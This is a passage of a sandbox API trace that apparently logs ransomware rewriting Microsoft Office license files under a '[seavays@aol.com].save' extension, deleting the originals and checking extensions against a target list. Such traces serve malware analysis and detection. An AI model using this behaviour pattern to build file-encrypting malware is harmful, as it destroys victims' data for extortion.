nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x67a0, lpOverlapped=0x0) returned 1 [0195.544] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.544] WriteFile (in: hFile=0x554, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10a, lpOverlapped=0x0) returned 1 [0195.544] SetEndOfFile (hFile=0x554) returned 1 [0195.544] CloseHandle (hObject=0x554) returned 1 [0195.544] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.544] SetEndOfFile (hFile=0x51c) returned 1 [0195.548] CloseHandle (hObject=0x51c) returned 1 [0195.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ppd.xrm-ms")) returned 1 [0196.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0196.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0196.007] lstrlenW (lpString=".doc") returned 4 [0196.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.007] lstrlenW (lpString=".docx") returned 5 [0196.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.007] lstrlenW (lpString=".pdf") returned 4 [0196.007] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.007] lstrlenW (lpString=".xls") returned 4 [0196.007] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.007] lstrlenW (lpString=".xlsx") returned 5 [0196.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.007] lstrlenW (lpString=".ppt") returned 4 [0196.007] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0196.007] lstrlenW (lpString=".zip") returned 4 [0196.007] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.007] lstrlenW (lpString=".rar") returned 4 [0196.007] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.007] lstrlenW (lpString=".bz2") returned 4 [0196.007] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.007] lstrlenW (lpString=".7z") returned 3 [0196.007] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0196.007] lstrlenW (lpString=".dbf") returned 4 [0196.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0196.008] lstrlenW (lpString=".1cd") returned 4 [0196.008] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0196.008] lstrlenW (lpString=".jpg") returned 4 [0196.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.009] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.009] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0196.011] GetLastError () returned 0x0 [0196.011] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d68, lpOverlapped=0x0) returned 1 [0196.013] WriteFile (in: hFile=0x51c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0196.014] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.014] WriteFile (in: hFile=0x51c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0196.014] SetEndOfFile (hFile=0x51c) returned 1 [0196.015] CloseHandle (hObject=0x51c) returned 1 [0196.015] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.015] SetEndOfFile (hFile=0x488) returned 1 [0196.127] CloseHandle (hObject=0x488) returned 1 [0196.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 1 [0196.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0196.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0196.134] lstrlenW (lpString=".doc") returned 4 [0196.135] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.135] lstrlenW (lpString=".docx") returned 5 [0196.135] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.135] lstrlenW (lpString=".pdf") returned 4 [0196.135] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.135] lstrlenW (lpString=".xls") returned 4 [0196.135] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.135] lstrlenW (lpString=".xlsx") returned 5 [0196.135] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.135] lstrlenW (lpString=".ppt") returned 4 [0196.135] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0196.135] lstrlenW (lpString=".zip") returned 4 [0196.135] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.135] lstrlenW (lpString=".rar") returned 4 [0196.135] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.135] lstrlenW (lpString=".bz2") returned 4 [0196.135] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.135] lstrlenW (lpString=".7z") returned 3 [0196.135] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0196.135] lstrlenW (lpString=".dbf") returned 4 [0196.135] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0196.135] lstrlenW (lpString=".1cd") returned 4 [0196.135] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0196.136] lstrlenW (lpString=".jpg") returned 4 [0196.136] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.137] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.137] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0196.139] GetLastError () returned 0x0 [0196.139] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0196.141] WriteFile (in: hFile=0x554, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0196.143] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.143] WriteFile (in: hFile=0x554, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11c, lpOverlapped=0x0) returned 1 [0196.144] SetEndOfFile (hFile=0x554) returned 1 [0196.144] CloseHandle (hObject=0x554) returned 1 [0196.144] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.144] SetEndOfFile (hFile=0x488) returned 1 [0196.149] CloseHandle (hObject=0x488) returned 1 [0196.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 1 [0196.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0196.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0196.159] lstrlenW (lpString=".doc") returned 4 [0196.159] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.159] lstrlenW (lpString=".docx") returned 5 [0196.159] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.160] lstrlenW (lpString=".pdf") returned 4 [0196.160] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.160] lstrlenW (lpString=".xls") returned 4 [0196.160] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.160] lstrlenW (lpString=".xlsx") returned 5 [0196.160] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.160] lstrlenW (lpString=".ppt") returned 4 [0196.160] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0196.160] lstrlenW (lpString=".zip") returned 4 [0196.160] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.160] lstrlenW (lpString=".rar") returned 4 [0196.160] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.160] lstrlenW (lpString=".bz2") returned 4 [0196.160] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.160] lstrlenW (lpString=".7z") returned 3 [0196.160] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0196.160] lstrlenW (lpString=".dbf") returned 4 [0196.160] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0196.160] lstrlenW (lpString=".1cd") returned 4 [0196.160] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86 [0196.160] lstrlenW (lpString=".jpg") returned 4 [0196.160] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.162] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.162] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0196.342] GetLastError () returned 0x0 [0196.342] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x632a, lpOverlapped=0x0) returned 1 [0196.347] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x6330, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x6330, lpOverlapped=0x0) returned 1 [0196.348] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.349] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11e, lpOverlapped=0x0) returned 1 [0196.349] SetEndOfFile (hFile=0x550) returned 1 [0196.349] CloseHandle (hObject=0x550) returned 1 [0196.349] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.349] SetEndOfFile (hFile=0x488) returned 1 [0196.353] CloseHandle (hObject=0x488) returned 1 [0196.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 1 [0196.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0196.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0196.357] lstrlenW (lpString=".doc") returned 4 [0196.357] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.357] lstrlenW (lpString=".docx") returned 5 [0196.357] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.357] lstrlenW (lpString=".pdf") returned 4 [0196.357] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.358] lstrlenW (lpString=".xls") returned 4 [0196.358] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.358] lstrlenW (lpString=".xlsx") returned 5 [0196.358] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.358] lstrlenW (lpString=".ppt") returned 4 [0196.358] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0196.358] lstrlenW (lpString=".zip") returned 4 [0196.358] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.358] lstrlenW (lpString=".rar") returned 4 [0196.358] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.358] lstrlenW (lpString=".bz2") returned 4 [0196.358] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.358] lstrlenW (lpString=".7z") returned 3 [0196.358] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0196.358] lstrlenW (lpString=".dbf") returned 4 [0196.358] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0196.358] lstrlenW (lpString=".1cd") returned 4 [0196.358] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87 [0196.358] lstrlenW (lpString=".jpg") returned 4 [0196.358] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.360] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.360] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0196.362] GetLastError () returned 0x0 [0196.362] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2bab, lpOverlapped=0x0) returned 1 [0196.364] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0196.365] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.365] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x114, lpOverlapped=0x0) returned 1 [0196.366] SetEndOfFile (hFile=0x550) returned 1 [0196.366] CloseHandle (hObject=0x550) returned 1 [0196.366] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.366] SetEndOfFile (hFile=0x488) returned 1 [0196.371] CloseHandle (hObject=0x488) returned 1 [0196.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 1 [0196.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0196.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0196.374] lstrlenW (lpString=".doc") returned 4 [0196.374] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.374] lstrlenW (lpString=".docx") returned 5 [0196.374] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.374] lstrlenW (lpString=".pdf") returned 4 [0196.374] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.374] lstrlenW (lpString=".xls") returned 4 [0196.374] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.374] lstrlenW (lpString=".xlsx") returned 5 [0196.374] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.374] lstrlenW (lpString=".ppt") returned 4 [0196.374] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0196.374] lstrlenW (lpString=".zip") returned 4 [0196.374] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.374] lstrlenW (lpString=".rar") returned 4 [0196.374] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.374] lstrlenW (lpString=".bz2") returned 4 [0196.374] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.374] lstrlenW (lpString=".7z") returned 3 [0196.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0196.375] lstrlenW (lpString=".dbf") returned 4 [0196.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0196.375] lstrlenW (lpString=".1cd") returned 4 [0196.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82 [0196.375] lstrlenW (lpString=".jpg") returned 4 [0196.375] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.376] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.376] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0196.378] GetLastError () returned 0x0 [0196.378] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x57c2, lpOverlapped=0x0) returned 1 [0196.694] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x57d0, lpOverlapped=0x0) returned 1 [0196.696] ReadFile (in: hFile=0x488, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.696] WriteFile (in: hFile=0x550, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0196.696] SetEndOfFile (hFile=0x550) returned 1 [0196.696] CloseHandle (hObject=0x550) returned 1 [0196.696] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.696] SetEndOfFile (hFile=0x488) returned 1 [0196.700] CloseHandle (hObject=0x488) returned 1 [0196.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft 